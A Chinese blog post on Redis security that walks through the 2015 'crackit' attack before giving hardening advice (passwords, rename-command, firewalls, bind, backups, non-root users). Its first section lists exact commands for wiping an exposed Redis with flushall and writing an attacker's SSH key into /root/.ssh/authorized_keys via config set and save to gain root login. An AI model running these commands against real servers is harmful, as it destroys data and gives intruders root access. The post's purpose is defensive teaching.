首页 > 其他 > 详细

Redis的安全问题

时间:2021-05-05 11:55:56      阅读:18      评论:0      收藏:0      [点我收藏+]

1.攻击案例

  2015年11月,全球数万个Redis节点遭受到了攻击,所有数据都被清除了,只有一个叫 crackit 的键存在,这个键的值很像一个公钥,如下所示。

127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQOAp3K7zrf2v9p
      HPSqW+n8WqsbS+xNpvvcgeNT/fYYbnkUitllRUiMCzs5FUSIlLRthwt4yvpMMbNnEX6J/0W/0nlq
      PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF
      0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGD
      HkTNAzdj+jOAlJglSH53Va34KqIAh2nOIc+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
       == root@zw_xx_192\n\n\n\n"

  数据丢失对于很多Redis的开发者来说是致命的,经过相关机构的调查发现,被攻击的Redis有如下特点:

□ Redis所在的机器有外网IP。

□ Redis以默认端口 6379为启动端口,并且是对外网开放的。

□ Redis是以root用户启动的。

□ Redis没有设置密码。

□ Redis 的 bind 设置为0.0.0.0或者""。

  攻击者充分利用Redis的dir和dbfilename两个配置可以使用config set动态设置以及 RDB持久化的特性,将自己的公钥写入到目标机器的/root/.ssh/authotrized_keys文件中,从而实现了对目标机器的攻陷。攻击过程如图12-2所示。

技术分享图片

  机器A是攻击者的机器(内网IP:10.10.xx.192),机器B是被攻击者机器(外网IP:123.16.xx.182),上面部署着一个满足上述五个特性的Redis, 下面我们来模拟整个攻击过程。

  1) 首先确认当前(攻击前)机器A 不能通过SSH访问机器B,因为没有权限:

#ssh root@123.16.xx.182
root@123.16.xx.182s password:

2) 由于机器B 的外网对外开通了Redis的6379端口,所以可以直接连接到Redis上执行flushall操作,注意此时破坏性就已经很大了,如下所示:

# redis-cli -h 123.16.xx.182 -p 6379 ping
PONG
# redis-cli -h 123.16.xx.182 -p 6379 flushall
OK

3) 在机器A 生成公钥,并将公钥保存到一个文件my.pub中:

# cd /root
# ssh-keygen -t rsa
# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# cat my.pub
ssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n
    8WqsbS+xNpvvcgeNT/fYYbnkUitllRUiMCzs5FUSIlLRthwt4yvpMMbNnEX6J/OW/OnlqPgzrzY
    flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU
    5fj51fPOXL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj 3VD0xGDllkTNAzdj
    +jOAlJglSH53Va34KqIAh2nOIc+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_192

4) 将键crackit的值设置为公钥。

cat my.pub | redis-cli -h 123.16.xx.182 -p 6379 -x set crackit
OK
redis-cli -h 123.16.xx.182 -p 6379 get crackit
"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHP
            SqW+n8WqsbS+xNpvvcgeNT/fYYbnkUitllRUiMCzs5FUSIlLRthwt4yvpMMbNnEX6J/0W/0nlqPgz
            rzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0J
            LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDll
            kTNAzdj+jOAlJglSH53Va34KqIAh2nOIc+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
            == root@zw_94_190\n\n\n\n”

5) 将Redis的dir设置为/root/.ssh 目录,dbfilename 设置为 authorized_keys,执行save命令生成RDB文件,如下所示:

123.16.xx.182:6379> config set dir /root/.ssh
OK
123.16.xx.182:6379> config set dbfilename authorized_keys
OK
123.16.xx.182:6379> save
OK

此时机器B的 /root/.ssh/authorized_keys包含了攻击者的公钥,之后攻击者就可以“为所欲为”了。

6) 此时机器 A 再通过SSH 协议访问机器 B,发现可以顺利登录:

[@zw_94_190 ~]# ssh root@123.16.xx.182
Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192

登录后可以观察/root/.ssh/authorized_keys, 可以发现它就是RDB文件。

  谁也不想自己的Redis以及机器就这样被攻击吧?本节我们来将介绍如何让Redis足够安全。

  Redis的设计目标是一个在内网运行的轻量级高性能键值服务,因为是在内网运行,所以对于安全方面没有做太多的工作,Redis只提供了简单的密码机制,并且没有做用户权限的相关划分。那么,在日常对于Redis的开发和运维中要注意哪些方面才能让Redis服务不仅能提供髙效稳定的服务,还能保证在一个足够安全的网络环境下运行呢?下面将从7个方面进行介绍。

 

2.Redis 密码机制

  1.简单的密码机制

  Redis提供了requirepass配置为Redis提供密码功能,如果添加这个配置,客户端就不能通过redis-cli -h {ip} -p {port}来执行命令。例如下面启动一个密码为hello_redis_devops的Redis:

redis-server --requirepass hello_redis_devops

  此时通过redis-cli执行命令会收到没有权限的提示:

# redis-cli
127.0.0.1:6379 > ping
(error) NOAUTH Authentication required.

  Redis提供了两种方式访问配置了密码的Redis:

口 redis-cli -a 参数。使用redis -cli连接Redis时,添加-a加密码的参数,如果密码正确就可以正常访问Redis了,具体操作如下:

# redis-cli -h 127.0.0.1 -p 6379 -a hello_redis_devops
127.0.0.1:6379> ping
PONG

□ auth命令。通过red is-cli连接后,执行auth加密码命令,如果密码正确就可以正常访问访问Redis了,具体操作如下:

# redis-cli
127.0.0.1:6379> auth hello_redis_devops
OK
127.0.0.1:6379 > ping
PONG

 

  2. 运维建议

  这种密码机制能在一定程度上保护Redis的安全,但是在使用requirepass时候要注意一下几点:

□ 密码要足够复杂(64个字节以上),因为Redis的性能很高,如果密码比较简单,完全是可以在一段时间内通过暴力破解来破译密码。

□ 如果是主从结构的Redis,不要忘记在从节点的配置中加入masterauth (master的密码)配置,否则会造成主从节点同步失效。

□ auth是通过明文进行传输的,所以也不是100%可靠,如果被攻击者劫持也相当危险。

 

3.伪装危险命令

  1.引入rename-command

  Redis中包含了很多“危险”的命令,一旦错误使用或者误操作,后果不堪设想,例如如下命令:

□ keys: 如果键值较多,存在阻塞Redis的可能性。

□ flushall/flushdb: 数据全部被清除。

□ save: 如果键值较多,存在阻塞Redis的可能性。

□ debug: 例如 debug reload会重启 Redis。

□ config: config应该交给管理员使用。

□ shutdown: 停止 Redis。

  理论上这些命令不应该给普通开发人员使用,那有没有什么好的方法能够防止这些危险的命令被随意执行呢? Redis提供了 rename-command配置解决这个问题。

  具体格式:

rename-command flushall  jjlikfjalijl3i4jl3jql34j

  这样,原来的flushall就无法执行,要执行更改之后的名称。

 

  2.没有免费的午餐

  rename-command虽然对Redis的安全有一定帮助,但是天下并没有免费的午餐。使用了 rename-command时可能会带来如下麻烦:

□ 管理员要对自己的客户端进行修改,例如jedis.flushall()操作内部使用的是flushall命令,如果用rename-command后需要修改为新的命令,有一定的开发和维护成本。

□ rename-command配置不支持config set,所以在启动前一定要确定哪些命令需要使用rename-command。

□ 如果AOF和 RDB文件包含了 rename-command之前的命令,Redis将无法启动,因为此时它识别不了 rename-command之前的命令。

□ Redis源码中有一些命令是写死的,rename-command可能造成Redis无法正常工作。例如 Sentinel节点在修改配置时直接使用了config命令,如果对config使用rename-command, 会造成 Redis Sentinel 无法正常工作。

□ 如果涉及主从关系,一定要保持主从节点配置的一致性,否则存在主从数据不一致的可能性。

 

4.防火墙

  可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围,在比较成熟的公司都会对有外网 IP 的服务器做一些端口的限制,例如只允许80端口对外开放。因为一般来说,开放外网 IP 的服务器中 Web 服务器比较多,但通常存储服务器的端口无需对外开放 ,防火墙是一个限制外网访问 Redis 的必杀技。

 

5.bind

  1.对于bind的错误认识

  很多开发者在一开始看到 bind 的这个配置时都是这么认为的:指定Redis只接收来自于某个网段 IP 的客户端请求。

  但事实上 bind 指定的是Redis和哪个网卡进行绑定,和客户端是什么网段没有关系。例如使用 ifconfig命令获取当前网卡信息。一般会出现eth0,eth1和lo等。

  假设包含了三个ip地址:

□ 内网地址:10.10.xx.192

□ 外网地址:220.181.xx.123

□ 回环地址:127.0.0.1

  如果当前Redis配置了bind 10.10.xx.192,那么Redis访问只能通过10.10.xx.192这块网卡进入,通过redis-cli -h 220.181.xx.123和本机redis -cli -h 127.0.0.1 -p 6379都无法连接到Redis。会收到如下操作提示:

# redis-cli -h 220.181.xx.123 -p 6379
Could not connect to Redis at 220.181.xx.123:6379: Connection refused

  只能通过10.l0.XX.192作为redis-cli的参数:

# redis-cli -h 10.10.xx.192
10.10.xx.192:6379 > ping
PONG

  bind参数可以设置多个,例如下面的配置表示当前Redis只接受来自10.10.xx.192和127.0.0.1的网络流量:

bind 10.10.xx.192 127.0.0.1

  Redis3.0中bind 默认值为””,也就是不限制网卡的访问,但是在Redis3.2中必须显示的配置bind 0.0.0.0才可以达到这种效果。

 

  2.建议

  经过上面的实验以及对于 bind 的认识,可以得出如下结论:

□ 如果机器有外网IP,但部署的Redis是给内部使用的,建议去掉外网网卡或者使用bind 配置限制流量从外网进入。

□ 如果客户端和Redis部署在一台服务器上,可以使用回环地址(127.0.0.1 )。bind 配置不支持config set,所以尽可能在第一次启动前配置好。

  如果当前Redis没有配置密码,没有配置bind, 那么只允许来自本机的访问,也就是相当于配置了 bind 127.0.0.1。

 

6.定期备份数据

7.不使用默认端口

8.总结

Redis安全建议:

  • 根据具体网络环境决定是否设置Redis密码。
  • rename-command可以伪装命令,但是要注意成本。
  • 合理的防火墙是防止攻击的利器。
  • bind可以将Redis的访问绑定到指定网卡上。
  • 定期备份数据应该作为习惯性操作。
  • 可以适当错开Redis默认端口启动。
  • 使用非root用户启动Redis。

 

 

Redis的安全问题

原文:https://www.cnblogs.com/lizexiong/p/14730785.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!